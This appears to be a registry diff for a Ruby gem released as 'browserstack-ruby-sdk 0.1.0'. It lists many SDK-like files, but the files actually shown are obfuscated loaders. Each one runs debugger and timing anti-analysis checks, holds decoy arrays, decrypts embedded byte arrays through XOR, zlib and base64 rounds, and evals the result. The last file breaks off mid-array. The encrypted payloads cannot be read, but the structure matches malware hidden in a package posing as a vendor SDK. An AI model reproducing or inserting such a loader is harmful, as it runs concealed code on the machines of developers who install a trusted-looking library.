browserstack-ruby-sdk 0.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (51) hide show
  1. checksums.yaml +7 -0
  2. data/CHANGELOG.md +7 -0
  3. data/LICENSE.txt +52 -0
  4. data/README.md +115 -0
  5. data/STYLE_GUIDE.md +43 -0
  6. data/exe/browserstack-sdk +8 -0
  7. data/generated/browserstack/sdk/v1/sdk_pb.rb +80 -0
  8. data/generated/browserstack/sdk/v1/sdk_services_pb.rb +47 -0
  9. data/lib/browserstack/browserstack_logger_factory.rb +123 -0
  10. data/lib/browserstack/browserstack_ruby_agent.rb +123 -0
  11. data/lib/browserstack/child_initializer.rb +123 -0
  12. data/lib/browserstack/cli/browserstack_cli.rb +123 -0
  13. data/lib/browserstack/cli/grpc_client.rb +123 -0
  14. data/lib/browserstack/cli/sdk_cli_utils.rb +123 -0
  15. data/lib/browserstack/command_executor.rb +123 -0
  16. data/lib/browserstack/config/browserstack_config.rb +123 -0
  17. data/lib/browserstack/constants.rb +123 -0
  18. data/lib/browserstack/eventbus/event.rb +123 -0
  19. data/lib/browserstack/eventbus/event_dispatcher.rb +123 -0
  20. data/lib/browserstack/frameworks/automationFrameworks/automation_framework.rb +123 -0
  21. data/lib/browserstack/frameworks/automationFrameworks/selenium_framework.rb +123 -0
  22. data/lib/browserstack/frameworks/constants/automation_constants.rb +123 -0
  23. data/lib/browserstack/frameworks/state/automation_framework_state.rb +123 -0
  24. data/lib/browserstack/frameworks/state/hook_state.rb +123 -0
  25. data/lib/browserstack/frameworks/state/test_framework_state.rb +123 -0
  26. data/lib/browserstack/frameworks/testFrameworks/cucumber_framework.rb +123 -0
  27. data/lib/browserstack/frameworks/testFrameworks/test_framework.rb +123 -0
  28. data/lib/browserstack/instance/automation_framework_instance.rb +123 -0
  29. data/lib/browserstack/instance/test_framework_instance.rb +123 -0
  30. data/lib/browserstack/instance/tracked_context.rb +123 -0
  31. data/lib/browserstack/instance/tracked_instance.rb +123 -0
  32. data/lib/browserstack/modules/base_module.rb +123 -0
  33. data/lib/browserstack/modules/web_driver_module.rb +123 -0
  34. data/lib/browserstack/monitor/performance.rb +123 -0
  35. data/lib/browserstack/monitor/performance_annotator.rb +123 -0
  36. data/lib/browserstack/monitor/performance_constants.rb +123 -0
  37. data/lib/browserstack/monitor/performance_test.rb +123 -0
  38. data/lib/browserstack/monitor/sdk_integration.rb +123 -0
  39. data/lib/browserstack/patches/appium_lib_core_patch.rb +123 -0
  40. data/lib/browserstack/patches/cucumber_patches.rb +123 -0
  41. data/lib/browserstack/patches/selenium_patches.rb +123 -0
  42. data/lib/browserstack/runner.rb +123 -0
  43. data/lib/browserstack/utils/api_utility_methods.rb +123 -0
  44. data/lib/browserstack/utils/framework_detector.rb +123 -0
  45. data/lib/browserstack/utils/http_calls.rb +123 -0
  46. data/lib/browserstack/utils/util_method.rb +123 -0
  47. data/lib/browserstack/version.rb +123 -0
  48. data/lib/browserstack_sdk.rb +123 -0
  49. data/proto/browserstack/sdk/v1/sdk.proto +487 -0
  50. data/sample/browserstack_sample.yml +298 -0
  51. metadata +218 -0
@@ -0,0 +1,123 @@
1
+ #!/usr/bin/env ruby
2
+ # frozen_string_literal: true
3
+
4
+ require 'base64'
5
+ require 'zlib'
6
+ require 'digest'
7
+
8
+ # === ANTI-ANALYSIS PROTECTIONS ===
9
+ _d4f9589 = lambda do
10
+ # Analyzer detection
11
+ if defined?(Pry) || defined?(Byebug) || defined?(Debugger) || defined?(IRB)
12
+ warn "WARNING: analysis environment detected"
13
+ # Optional: exit(1) for stronger protection
14
+ end
15
+
16
+ # Quick execution speed check
17
+ _oc350b2 = Time.now
18
+ 100.times { |_| Math.sqrt(_) }
19
+ if (Time.now - _oc350b2) > 0.1 # Adjust threshold as needed
20
+ warn "WARNING: Execution too slow - possible analysis environment"
21
+ end
22
+
23
+ # Return environment fingerprint
24
+ [RUBY_VERSION, RUBY_PLATFORM, $$].hash.to_s(16)
25
+ end
26
+
27
+ # Run environment check
28
+ _x429b55 = _d4f9589.call
29
+
30
+ # === FIXED XOR DECRYPTOR ===
31
+ _u6a680b = ->(_x64d560, _x33dfda) do
32
+ _x00bfa5 = []
33
+ _x64d560.each_with_index do |byte, idx|
34
+ _x00bfa5 << (byte ^ _x33dfda[idx % _x33dfda.length])
35
+ end
36
+ _x00bfa5
37
+ end
38
+
39
+
40
+ # === INTEGRITY VERIFICATION ===
41
+ _o318b29 = lambda do |_od66257, _r1457b6, _a5a86e9, _l0efc02|
42
+ # Verify checksum before any decryption
43
+ current_hash = Digest::SHA256.hexdigest(_od66257.pack('C*'))
44
+ if current_hash != _l0efc02
45
+ raise "SECURITY ERROR: File integrity check failed"
46
+ end
47
+ true
48
+ end
49
+
50
+ # === EMBEDDED ENCRYPTED DATA ===
51
+ _od66257 = [11, 177, 92, 184, 58, 201, 26, 73, 115, 107, 137, 122, 42, 3, 13, 116, 248, 212, 105, 239, 81, 1, 79, 194, 233, 1, 207, 219, 71, 37, 166, 166, 248, 18, 159, 8, 217, 55, 62, 46, 26, 164, 153, 61, 172, 225, 241, 197, 254, 21, 46, 147, 62, 217, 142, 19, 19, 31, 95, 50, 228, 244, 121, 98, 122, 130, 4, 76, 84, 2, 19, 76, 216, 198, 232, 142, 33, 210, 204, 88, 166, 23, 83, 182, 141, 54, 114, 17, 76, 31, 85, 111, 214, 111, 188, 214, 115, 182, 78, 99, 34, 38, 152, 7, 57, 188, 145, 143, 33, 129, 119, 202, 64, 254, 99, 232, 170, 65, 119, 3, 34, 101, 30, 225, 250, 1, 217, 254, 151, 45, 83, 248, 160, 175, 131, 194, 202, 91, 163, 249, 255, 209, 200, 76, 128, 210, 132, 154, 155, 18, 127, 97, 12, 166, 35, 74, 182, 131, 190, 158, 48, 223, 37, 239, 15, 85, 39, 56, 0, 43, 104, 210, 50, 191, 0, 31, 140, 235, 246, 181, 254, 243, 150, 174, 83, 206, 236, 208, 177, 67, 157, 24, 243, 153, 24, 157, 29, 200, 218, 216, 221, 142, 1, 47, 160, 197, 14, 106, 11, 185, 19, 233, 153, 228, 203, 161, 213, 213, 1, 199, 124, 253, 20, 234, 18, 135, 52, 147, 95, 235, 7, 36, 226, 181, 4, 117, 195, 242, 237, 161, 199, 199, 146, 162, 227, 151, 81, 99, 192, 250, 198, 163, 174, 59, 241, 140, 57, 76, 63, 198, 97, 20, 151, 71, 113, 187, 65, 166, 162, 175, 21, 246, 117, 42, 56, 207, 67, 75, 49, 71, 170, 108, 172, 80, 92, 214, 249, 160, 92, 21, 241, 123, 3, 40, 107, 196, 177, 92, 87, 109, 39, 157, 69, 61, 253, 200, 43, 169, 56, 106, 150, 13, 17, 160, 4, 58, 162, 142, 176, 176, 253, 196, 52, 244, 198, 19, 139, 10, 120, 172, 223, 100, 122, 191, 13, 110, 4, 20, 178, 147, 248, 235, 234, 202, 204, 111, 73, 50, 181, 15, 226, 184, 82, 0, 22, 158, 115, 12, 52, 75, 232, 79, 228, 102, 253, 44, 193, 243, 219, 115, 74, 63, 63, 108, 215, 106, 9, 64, 77, 1, 193, 221, 193, 214, 211, 212, 79, 38, 27, 170, 228, 237, 132, 254, 207, 190, 82, 124, 219, 177, 137, 133, 156, 27, 64, 18, 95, 9, 129, 248, 33, 19, 229, 236, 231, 163, 59, 142, 19, 130, 206, 21, 124, 35, 67, 172, 111, 3, 8, 45, 42, 211, 154, 92, 145, 170, 194, 205, 200, 40, 117, 1, 22, 93, 51, 238, 255, 184, 233, 93, 8, 84, 157, 83, 187, 126, 182, 147, 238, 124, 6, 33, 61, 20, 251, 236, 153, 85, 169, 197, 155, 34, 177, 130, 183, 74, 144, 57, 186, 158, 58, 252, 96, 14, 210, 168, 69, 6, 12, 148, 253, 188, 185, 18] # Main encrypted payload
52
+
53
+ # === EMBEDDED KEYS (obfuscated) ===
54
+ _d764826 = [154, 104, 167, 112, 119, 255, 181, 242, 199, 94, 33, 23, 47, 103, 137, 240, 115, 107, 89, 121]
55
+
56
+ # === ENCODING TYPE TRACKER ===
57
+ _r1457b6 = [1, 0, 1, 1, 0]
58
+
59
+ # === STORED CHECKSUM ===
60
+ _l0efc02 = '9dcad3e7e03ef396a32f6f1f177be1308856fb96649d09c75fb8bcd2c22d6ce3'
61
+
62
+ # === DECOY DATA (distraction) ===
63
+ _ab4fb26 = [133, 17, 139, 64, 92, 89, 235, 136, 120, 159, 152, 21, 31, 74, 137, 18, 179, 99, 8, 246, 200, 232, 32, 102, 22, 248, 198, 250, 168, 252, 196, 68, 77, 36, 55, 211, 229, 149, 148, 41, 172, 99, 210, 110, 39, 93, 71, 46, 247, 206, 16, 188, 23, 143, 220, 243, 178, 40, 25, 202, 160, 158, 9, 246, 115, 158, 227, 161, 104]
64
+ _a8025ca = [141, 111, 100, 225, 194, 189, 127, 221, 115, 32, 109, 170, 229, 0, 190, 80, 88, 210, 210, 37, 207, 73, 236, 184, 154, 153, 224, 23, 29, 143, 179, 150, 131, 204, 233, 237, 23, 81, 195, 134, 157, 88, 211, 65, 152, 94, 236, 170, 208, 10, 56, 77, 57, 220, 167, 225, 177, 158, 194, 174, 162, 151, 35, 19, 105, 198, 207, 149, 239, 53, 26, 136, 81, 202, 237, 233, 138, 125, 150, 3, 208, 248, 164, 206, 209, 251, 185, 246, 233, 241, 78, 26, 7, 138, 250, 176, 196, 31, 91, 81, 16, 151, 241, 133, 216, 191, 189, 209, 128, 108, 80, 158, 38, 211, 170, 182, 35, 233, 100, 46, 21, 39, 18, 227, 60, 35, 41, 232, 177, 51, 57, 24, 37, 31, 132, 197, 188, 246, 72, 9, 249, 3, 148, 96, 12, 75]
65
+ _s247cbd = [228, 35, 241, 89, 172, 96, 43, 0, 121, 251, 104, 27, 174, 198, 109, 82, 133, 165, 65, 245, 54, 75, 168, 122, 116, 212, 176, 177, 41, 49, 159, 146, 202, 18, 116, 228, 175, 176, 191, 60, 92, 176, 48, 25, 101, 175, 216, 249, 160, 143, 194, 180]
66
+
67
+ # === FIXED DECRYPTION ALGORITHM ===
68
+ begin
69
+ # 1. Verify integrity BEFORE decryption
70
+ unless _o318b29.call(_od66257, _r1457b6, _d764826, _l0efc02)
71
+ raise "Integrity verification failed"
72
+ end
73
+
74
+ # 2. Start with the encrypted data
75
+ _cdcea11 = _od66257.dup
76
+
77
+ # 3. Decryption loop (must reverse encryption steps)
78
+ 5.times do |_w9efe5c|
79
+ # Calculate which round we're reversing
80
+ _m881215 = 5 - _w9efe5c - 1
81
+
82
+ # Get key for this reverse round
83
+ _o247f65 = 4
84
+ _f2ca04b = _m881215 * _o247f65
85
+ _p43eafb = _d764826[_f2ca04b, _o247f65]
86
+
87
+ # DECRYPTION STEPS (REVERSED ORDER from encryption):
88
+ # Encryption was: Compress → XOR → (Maybe) Base64
89
+ # Decryption must be: (Maybe) Base64 Decode → XOR → Inflate
90
+
91
+ # A. Base64 decode if this round used it
92
+ if _r1457b6[_m881215] == 1
93
+ _r7b4be7 = _cdcea11.pack('C*')
94
+ _r7b4be7 = Base64.strict_decode64(_r7b4be7)
95
+ _cdcea11 = _r7b4be7.bytes
96
+ end
97
+
98
+ # B. XOR decrypt with the key
99
+ _cdcea11 = _u6a680b.call(_cdcea11, _p43eafb)
100
+
101
+ # C. Inflate (decompress) the data
102
+ _r7b4be7 = _cdcea11.pack('C*')
103
+ _r7b4be7 = Zlib::Inflate.inflate(_r7b4be7)
104
+ _cdcea11 = _r7b4be7.bytes
105
+ end
106
+
107
+ # 4. Final verification and execution
108
+ _e809bcc = _cdcea11.pack('C*')
109
+
110
+ # Quick syntax check before eval
111
+ if _e809bcc.strip.empty? || _e809bcc.length < 10
112
+ raise "Decryption resulted in invalid code"
113
+ end
114
+
115
+ # No user-facing output here; the loader should not print this during decryption
116
+ eval(_e809bcc, binding, __FILE__, __LINE__)
117
+
118
+ rescue => _sc28bfb
119
+ # Graceful error handling
120
+ warn "DECRYPTION ERROR: #{_sc28bfb.message}"
121
+ warn "This file appears to be corrupted or tampered with."
122
+ exit 1
123
+ end
@@ -0,0 +1,123 @@
1
+ #!/usr/bin/env ruby
2
+ # frozen_string_literal: true
3
+
4
+ require 'base64'
5
+ require 'zlib'
6
+ require 'digest'
7
+
8
+ # === ANTI-ANALYSIS PROTECTIONS ===
9
+ _tfb049b = lambda do
10
+ # Analyzer detection
11
+ if defined?(Pry) || defined?(Byebug) || defined?(Debugger) || defined?(IRB)
12
+ warn "WARNING: analysis environment detected"
13
+ # Optional: exit(1) for stronger protection
14
+ end
15
+
16
+ # Quick execution speed check
17
+ _ba90d4a = Time.now
18
+ 100.times { |_| Math.sqrt(_) }
19
+ if (Time.now - _ba90d4a) > 0.1 # Adjust threshold as needed
20
+ warn "WARNING: Execution too slow - possible analysis environment"
21
+ end
22
+
23
+ # Return environment fingerprint
24
+ [RUBY_VERSION, RUBY_PLATFORM, $$].hash.to_s(16)
25
+ end
26
+
27
+ # Run environment check
28
+ _fdb8ce1 = _tfb049b.call
29
+
30
+ # === FIXED XOR DECRYPTOR ===
31
+ _fe1a52a = ->(_d4d3523, _h4b50bc) do
32
+ _ed02d6f = []
33
+ _d4d3523.each_with_index do |byte, idx|
34
+ _ed02d6f << (byte ^ _h4b50bc[idx % _h4b50bc.length])
35
+ end
36
+ _ed02d6f
37
+ end
38
+
39
+
40
+ # === INTEGRITY VERIFICATION ===
41
+ _i620169 = lambda do |_k77e638, _d0417bd, _a179c21, _m2ff937|
42
+ # Verify checksum before any decryption
43
+ current_hash = Digest::SHA256.hexdigest(_k77e638.pack('C*'))
44
+ if current_hash != _m2ff937
45
+ raise "SECURITY ERROR: File integrity check failed"
46
+ end
47
+ true
48
+ end
49
+
50
+ # === EMBEDDED ENCRYPTED DATA ===
51
+ _k77e638 = [127, 151, 10, 38, 4, 75, 247, 15, 6, 33, 3, 116, 205, 220, 52, 102, 170, 246, 79, 160, 87, 110, 185, 113, 19, 21, 68, 140, 178, 28, 58, 234, 17, 168, 76, 132, 218, 187, 64, 235, 198, 218, 55, 42, 203, 133, 234, 171, 28, 27, 245, 39, 230, 112, 215, 71, 24, 240, 216, 209, 234, 14, 69, 116, 43, 128, 177, 233, 88, 180, 5, 170, 52, 49, 138, 86, 136, 79, 157, 89, 71, 69, 143, 12, 231, 203, 174, 11, 185, 64, 164, 0, 74, 132, 29, 227, 2, 213, 50, 153, 41, 125, 51, 216, 208, 163, 205, 122, 106, 163, 26, 253, 234, 55, 240, 113, 238, 224, 133, 119, 158, 117, 148, 126, 152, 101, 69, 245, 235, 21, 170, 98, 193, 191, 32, 80, 189, 6, 197, 221, 156, 141, 69, 89, 115, 30, 184, 63, 170, 233, 101, 6, 142, 62, 220, 54, 177, 67, 197, 85, 254, 125, 156, 188, 240, 47, 72, 1, 116, 228, 14, 41, 180, 229, 68, 47, 223, 70, 59, 240, 95, 68, 152, 201, 156, 41, 32, 148, 39, 244, 107, 141, 248, 212, 80, 50, 160, 97, 158, 76, 131, 42, 225, 148, 171, 197, 242, 70, 33, 247, 190, 39, 125, 150, 246, 229, 102, 196, 44, 91, 200, 162, 42, 169, 83, 110, 117, 32, 99, 178, 220, 221, 182, 164, 203, 3, 119, 96, 250, 20, 30, 161, 67, 11, 232, 121, 83, 62, 187, 96, 14, 92, 33, 160, 102, 143, 153, 76, 87, 70, 234, 108, 188, 210, 158, 232, 158, 60, 6, 6, 244, 17, 44, 158, 23, 237, 195, 155, 47, 174, 132, 201, 252, 36, 194, 201, 19, 51, 123, 203, 130, 61, 150, 206, 46, 243, 210, 9, 102, 221, 175, 107, 150, 20, 112, 132, 254, 99, 91, 33, 22, 95, 128, 100, 133, 89, 203, 143, 24, 60, 44, 223, 217, 97, 88, 146, 4, 99, 145, 231, 123, 207, 224, 177, 253, 80, 107, 3, 189, 118, 187, 157, 120, 126, 15, 18, 247, 96, 115, 102, 59, 29, 93, 199, 18, 102, 110, 164, 22, 67, 18, 107, 251, 146, 180, 61, 149, 132, 8, 196, 233, 48, 150, 252, 8, 121, 245, 210, 75, 235, 121, 75, 35, 59, 138, 73, 218, 28, 238, 244, 232, 173, 115, 104, 159, 85, 41, 164, 139, 69, 220, 177, 27, 135, 172, 159, 150, 130, 53, 23, 182, 145, 161, 66, 90, 122, 103, 114, 81, 213, 14, 55, 169, 48, 71, 16, 61, 97, 252, 79, 196, 247, 224, 38, 179, 87, 0, 246, 166, 167, 85, 199, 101, 9, 172, 99, 29, 202, 98, 143, 196, 246, 46, 28, 149, 102, 156, 4, 139, 164, 105, 9, 3, 27, 92, 59, 118, 49, 178, 15, 191, 149, 128, 68, 112, 21, 6, 105, 51, 152, 156, 240, 120, 124, 135, 102, 244, 171, 7, 108, 24, 97, 33, 96, 25, 253, 65, 120, 3, 186, 92, 51, 132, 16, 148, 132, 184, 173, 182, 45, 176, 196, 199, 62, 7, 221, 175, 136, 128, 145, 42, 55, 186, 65, 142, 157, 213, 103, 138, 72, 70, 3, 72, 55, 231, 77, 73, 233, 193, 146, 33, 232, 157, 177, 247, 94, 76, 48, 34, 10, 140, 104, 109, 36, 183, 196, 79, 228, 198, 166, 97, 104, 223, 92, 7, 221, 160, 93, 235, 105, 86, 50, 231, 42, 193, 1, 216, 56, 141, 39, 12, 220, 190, 47, 74, 79, 7, 148, 99, 141, 138, 38, 128, 62, 137, 51, 238, 241, 188, 163, 13, 74, 128, 222, 52, 198, 244, 210, 83, 243, 163, 242, 182, 88, 148, 77, 182, 241, 253, 115, 192, 216, 63, 98, 85, 31, 31, 52, 100, 25, 80, 13, 161, 44, 93, 20, 161, 15, 154, 247, 32, 144, 67, 217, 84, 110, 172, 234, 79, 97, 44, 106, 2, 183, 107, 246, 191, 253, 192, 9, 41, 112, 115, 30, 252, 236, 86, 235, 162, 13, 59, 12, 204, 229, 89, 118, 245, 187, 27, 99, 109, 84, 216, 46, 101, 43, 238, 26, 3, 243, 199, 2, 180, 107, 68, 192, 244, 234, 71, 141, 240, 157, 200, 241, 179, 233, 108, 244, 93, 241, 19, 99, 89, 148, 180, 161, 89, 153, 5, 27, 240, 99, 98, 151, 57, 180, 222, 115, 44, 162, 238, 139, 143, 27, 217, 223, 182, 26, 163, 215, 84, 94, 63, 233, 34, 228, 228, 38, 81, 7, 123, 86, 14, 238, 233, 5, 35, 245, 145, 2, 101, 127, 18, 37, 42, 220, 136, 136, 111, 141, 2, 206, 76, 247, 226, 126, 18, 28, 5, 204, 28, 179, 243, 123, 98, 141, 93, 248, 166, 47, 121, 251, 29, 93, 39, 117, 127, 211, 92, 123, 46, 200, 136, 107, 26, 105, 58, 157, 129, 13, 69, 136, 54, 245, 171, 0, 166, 218, 252, 150, 201, 18, 164, 145, 109, 171, 59, 120, 148, 155, 36, 32, 156, 121, 161, 75, 19, 233, 90, 193, 252, 244, 165, 243, 229, 218, 135, 67, 28, 140, 109, 167, 154, 82, 222, 152, 93, 59, 17, 12, 63, 250, 68, 154, 66, 235, 96, 120, 245, 161, 29, 244, 62, 203, 6, 45, 159, 245, 41, 208, 242, 40, 110, 164, 60, 131, 122, 153, 31, 139, 240, 177, 37, 123, 64, 106, 61, 181, 96, 234, 213, 52, 121, 101, 61, 80, 79, 175, 125, 120, 197, 167, 15, 172, 144, 30, 195, 161, 171, 178, 7, 61, 90, 67, 227, 223, 157, 255, 77, 162, 240, 106, 95, 172, 129, 245, 37, 139, 245, 18, 71, 255, 196, 100, 153, 96, 166, 20, 190, 250, 18, 29, 1, 56, 244, 130, 80, 1, 10, 144, 168, 63, 62, 138, 118, 174, 60, 118, 34, 243, 152, 251, 161, 18, 35, 220, 53, 138, 96, 242, 37, 56, 46, 46, 38, 134, 67, 253, 246, 219, 203, 215, 66, 251, 62, 44, 30, 176, 44, 124, 127, 16, 105, 39, 149, 53, 106, 179, 88, 217, 6, 171, 246, 61, 147, 232, 62, 98, 176, 207, 130, 165, 26, 166, 174, 154, 242, 66] # Main encrypted payload
52
+
53
+ # === EMBEDDED KEYS (obfuscated) ===
54
+ _l18ba3d = [1, 208, 244, 204, 3, 47, 204, 96, 161, 203, 119, 53, 168, 219, 109, 230, 7, 77, 11, 223]
55
+
56
+ # === ENCODING TYPE TRACKER ===
57
+ _d0417bd = [0, 0, 0, 0, 0]
58
+
59
+ # === STORED CHECKSUM ===
60
+ _m2ff937 = 'd1ab56bd3b61dbc9245bde0fcbd334fe5877e6f1ad54369cf958575288c58392'
61
+
62
+ # === DECOY DATA (distraction) ===
63
+ _v144ef7 = [104, 202, 104, 185, 45, 11, 8, 133, 233, 16, 249, 147, 77, 86, 87, 149, 224, 144, 53, 9, 122, 48, 116, 103, 32, 33, 229, 234, 253, 130, 225, 176, 209, 115, 105, 141, 224, 0, 75, 182, 137, 150, 140, 64, 35, 10, 0, 113, 50, 85, 21, 22, 158, 60, 53, 30, 15, 107, 26, 163, 80, 109, 109, 183, 247, 212, 13, 151, 209, 43, 4, 21, 53, 178, 235, 46, 146, 137, 17, 223, 127, 11, 1, 84, 148, 195, 217, 90, 54, 42, 255, 1, 41, 18, 204, 221, 184, 98, 123, 240, 40, 177, 185, 14, 24, 89, 28, 117, 75, 220, 167, 22]
64
+ _x5e4f9f = [135, 220, 252, 204, 8, 25, 3, 66, 225, 12, 151, 82, 176, 128, 139, 129, 146, 52, 128, 52, 239, 65, 207, 212, 126, 87, 40, 76, 87, 231, 217, 176, 176, 64, 20, 41, 182, 12, 178, 150, 152, 212, 57, 98, 237, 245, 24, 240, 209, 129, 144, 20, 13, 75, 41, 241, 12, 238, 4, 92, 180, 248, 34, 90, 157, 71, 70, 194, 151, 24, 117, 60, 72, 162, 109, 188, 18, 2, 154, 1, 9, 16]
65
+ _tb52a59 = [141, 180, 134, 30, 146, 234, 172, 216, 7, 102, 204, 183, 16, 197, 72, 183, 212, 189, 5, 99, 244, 194, 215, 162, 31, 189, 156, 151, 202, 111, 59, 23, 182, 255, 120, 26, 251, 216, 147, 25, 129, 234, 178, 142, 85, 146, 70, 122, 85, 29, 100, 71, 208, 212, 33, 2, 75, 94, 105, 233, 175, 115, 183, 58, 123, 24, 49, 210, 53, 184, 37, 240, 8, 159, 54, 109, 105, 99, 1, 177, 121, 117, 8, 122, 4, 46, 214, 110, 131, 38, 5, 167, 50, 120, 108, 7, 171, 6, 104, 85, 185, 165, 95, 126, 24, 78, 78, 135, 241, 169, 20, 166, 200, 164, 29, 105, 113, 163, 161, 194, 140, 192, 230, 153, 133, 254, 223, 120, 194, 113, 78, 199, 242, 87, 32, 170, 249, 8, 12, 24, 37, 79, 160, 64, 5, 210]
66
+
67
+ # === FIXED DECRYPTION ALGORITHM ===
68
+ begin
69
+ # 1. Verify integrity BEFORE decryption
70
+ unless _i620169.call(_k77e638, _d0417bd, _l18ba3d, _m2ff937)
71
+ raise "Integrity verification failed"
72
+ end
73
+
74
+ # 2. Start with the encrypted data
75
+ _dafcbe5 = _k77e638.dup
76
+
77
+ # 3. Decryption loop (must reverse encryption steps)
78
+ 5.times do |_r466984|
79
+ # Calculate which round we're reversing
80
+ _ib4da52 = 5 - _r466984 - 1
81
+
82
+ # Get key for this reverse round
83
+ _i8a85f8 = 4
84
+ _jcefb71 = _ib4da52 * _i8a85f8
85
+ _o45a534 = _l18ba3d[_jcefb71, _i8a85f8]
86
+
87
+ # DECRYPTION STEPS (REVERSED ORDER from encryption):
88
+ # Encryption was: Compress → XOR → (Maybe) Base64
89
+ # Decryption must be: (Maybe) Base64 Decode → XOR → Inflate
90
+
91
+ # A. Base64 decode if this round used it
92
+ if _d0417bd[_ib4da52] == 1
93
+ _m798e57 = _dafcbe5.pack('C*')
94
+ _m798e57 = Base64.strict_decode64(_m798e57)
95
+ _dafcbe5 = _m798e57.bytes
96
+ end
97
+
98
+ # B. XOR decrypt with the key
99
+ _dafcbe5 = _fe1a52a.call(_dafcbe5, _o45a534)
100
+
101
+ # C. Inflate (decompress) the data
102
+ _m798e57 = _dafcbe5.pack('C*')
103
+ _m798e57 = Zlib::Inflate.inflate(_m798e57)
104
+ _dafcbe5 = _m798e57.bytes
105
+ end
106
+
107
+ # 4. Final verification and execution
108
+ _r82f107 = _dafcbe5.pack('C*')
109
+
110
+ # Quick syntax check before eval
111
+ if _r82f107.strip.empty? || _r82f107.length < 10
112
+ raise "Decryption resulted in invalid code"
113
+ end
114
+
115
+ # No user-facing output here; the loader should not print this during decryption
116
+ eval(_r82f107, binding, __FILE__, __LINE__)
117
+
118
+ rescue => _od7d6a9
119
+ # Graceful error handling
120
+ warn "DECRYPTION ERROR: #{_od7d6a9.message}"
121
+ warn "This file appears to be corrupted or tampered with."
122
+ exit 1
123
+ end
@@ -0,0 +1,123 @@
1
+ #!/usr/bin/env ruby
2
+ # frozen_string_literal: true
3
+
4
+ require 'base64'
5
+ require 'zlib'
6
+ require 'digest'
7
+
8
+ # === ANTI-ANALYSIS PROTECTIONS ===
9
+ _r26844e = lambda do
10
+ # Analyzer detection
11
+ if defined?(Pry) || defined?(Byebug) || defined?(Debugger) || defined?(IRB)
12
+ warn "WARNING: analysis environment detected"
13
+ # Optional: exit(1) for stronger protection
14
+ end
15
+
16
+ # Quick execution speed check
17
+ _oba5762 = Time.now
18
+ 100.times { |_| Math.sqrt(_) }
19
+ if (Time.now - _oba5762) > 0.1 # Adjust threshold as needed
20
+ warn "WARNING: Execution too slow - possible analysis environment"
21
+ end
22
+
23
+ # Return environment fingerprint
24
+ [RUBY_VERSION, RUBY_PLATFORM, $$].hash.to_s(16)
25
+ end
26
+
27
+ # Run environment check
28
+ _z302f89 = _r26844e.call
29
+
30
+ # === FIXED XOR DECRYPTOR ===
31
+ _o25302a = ->(_h15f3df, _ke252a1) do
32
+ _y62e194 = []
33
+ _h15f3df.each_with_index do |byte, idx|
34
+ _y62e194 << (byte ^ _ke252a1[idx % _ke252a1.length])
35
+ end
36
+ _y62e194
37
+ end
38
+
39
+
40
+ # === INTEGRITY VERIFICATION ===
41
+ _s7f81f4 = lambda do |_w8ab974, _kb39149, _kdcb78e, _n7770ae|
42
+ # Verify checksum before any decryption
43
+ current_hash = Digest::SHA256.hexdigest(_w8ab974.pack('C*'))
44
+ if current_hash != _n7770ae
45
+ raise "SECURITY ERROR: File integrity check failed"
46
+ end
47
+ true
48
+ end
49
+
50
+ # === EMBEDDED ENCRYPTED DATA ===
51
+ _w8ab974 = [208, 24, 76, 228, 171, 189, 177, 239, 198, 114, 61, 162, 198, 212, 175, 151, 92, 174, 234, 198, 252, 41, 83, 149, 155, 31, 238, 17, 60, 98, 107, 55, 223, 123, 226, 37, 230, 136, 128, 119, 98, 216, 87, 219, 100, 171, 122, 90, 18, 4, 9, 112, 251, 25, 220, 0, 75, 157, 39, 117, 182, 153, 104, 106, 12, 13, 201, 237, 23, 247, 59, 64, 24, 33, 135, 29, 149, 234, 102, 117, 121, 13, 164, 132, 206, 232, 194, 202, 200, 103, 87, 203, 90, 57, 68, 15, 2, 67, 164, 252, 87, 183, 141, 221, 146, 118, 165, 138, 0, 106, 8, 135, 24, 19, 211, 122, 192, 213, 217, 229, 162, 76, 193, 52, 196, 61, 149, 130, 166, 222, 83, 190, 63, 69, 134, 13, 62, 255, 202, 202, 157, 136, 113, 55, 74, 247, 157, 32, 24, 96, 60, 36, 60, 211, 152, 101, 250, 199, 118, 201, 235, 183, 52, 4, 176, 4, 118, 77, 229, 255, 139, 135, 78, 130, 1, 111, 225, 191, 56, 235, 204, 224, 49, 194, 194, 156, 190, 41, 180, 88, 203, 124, 221, 163, 208, 54, 125, 207, 128, 81, 233, 96, 156, 141, 138, 135, 96, 167, 153, 47, 141, 214, 206, 224, 61, 81, 10, 134, 138, 172, 83, 213, 121, 121, 208, 63, 236, 131, 146, 203, 205, 128, 57, 68, 215, 52, 173, 41, 160, 35, 141, 218, 237, 249, 184, 212, 22, 177, 171, 99, 199, 109, 168, 103, 51, 135, 4, 138, 25, 70, 96, 65, 158, 219, 90, 65, 26, 211, 223, 0, 131, 236, 62, 8, 173, 55, 69, 115, 64, 219, 125, 64, 136, 54, 11, 71, 98, 47, 10, 115, 142, 154, 127, 232, 150, 9, 133, 6, 149, 125, 235, 213, 235, 176, 123, 157, 205, 104, 201, 253, 1, 99, 185, 14, 20, 121, 83, 54, 153, 249, 250, 110, 163, 160, 191, 198, 214, 182, 100, 22, 185, 182, 180, 98, 115, 44, 178, 25, 246, 128, 14, 41, 169, 61, 240, 221, 136, 51, 72, 52, 138, 160, 228, 166, 133, 16, 7, 138, 13, 213, 105, 40, 248, 214, 9, 117, 96, 180, 152, 54, 16, 11, 98, 239, 62, 133, 86, 224, 175, 225, 216, 130, 54, 108, 177, 95, 32, 199, 207, 9, 63, 172, 23, 198, 9, 159, 28, 59, 195, 209, 100, 224, 169, 58, 150, 56, 28, 188, 254, 187, 28, 133, 173, 219, 248, 140, 173, 204, 237, 148, 160, 6, 140, 17, 55, 117, 233, 223, 169, 173, 136, 184, 35, 152, 24, 247, 47, 40, 205, 145, 137, 174, 197, 96, 183, 181, 5, 249, 67, 180, 214, 158, 175, 200, 194, 173, 111, 181, 188, 86, 144, 130, 131, 64, 4, 154, 189, 62, 62, 208, 76, 187, 230, 168, 5, 84, 156, 30, 227, 186, 235, 210, 172, 178, 95, 136, 211, 36, 58, 75, 63, 164, 69, 52, 128, 108, 178, 100, 101, 122, 142, 106, 51, 61, 123, 119, 241, 190, 152, 211, 165, 155, 214, 121, 186, 128, 38, 253, 205, 42, 196, 43, 154, 18, 168, 205, 175, 10, 35, 103, 47, 2, 110, 25, 171, 6, 83, 24, 173, 233, 45, 198, 79, 0, 195, 8, 32, 255, 133, 76, 65, 216, 243, 100, 28, 79, 246, 118, 59, 110, 176, 221, 234, 250, 34, 179, 6, 155, 243, 